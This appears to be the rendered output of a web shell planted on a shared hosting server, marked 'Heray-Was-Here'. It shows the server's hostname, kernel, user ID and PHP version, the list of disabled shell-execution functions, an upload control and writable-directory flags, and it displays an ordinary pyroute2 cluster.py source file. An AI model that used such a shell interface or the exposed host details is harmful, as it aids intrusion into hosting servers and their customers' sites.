Heray-Was-Here
Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /opt/alt/python311/lib/python3.11/site-packages/pyroute2/ndb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python311/lib/python3.11/site-packages/pyroute2/ndb/cluster.py
import json
import socket

from pyroute2.common import basestring

from .main import NDB
from .transport import Messenger, Transport


def init(config):
    if isinstance(config, basestring):
        config = json.loads(config)
    else:
        config = json.load(config)
    hostname = config['local'].get('hostname', socket.gethostname())
    messenger = Messenger(
        config['local']['id'],
        Transport(config['local']['address'], config['local']['port']),
    )

    for target in config['local'].get('targets', []):
        messenger.targets.add(target)

    if not messenger.targets:
        messenger.targets.add(hostname)

    for peer in config.get('peers', []):
        messenger.add_peer(*peer)

    sources = config['local'].get('sources')
    if sources is None:
        sources = [{'target': hostname, 'kind': 'local'}]

    return NDB(
        log=config.get('log', 'debug'),
        sources=sources,
        localhost=sources[0]['target'],
        messenger=messenger,
    )

Hry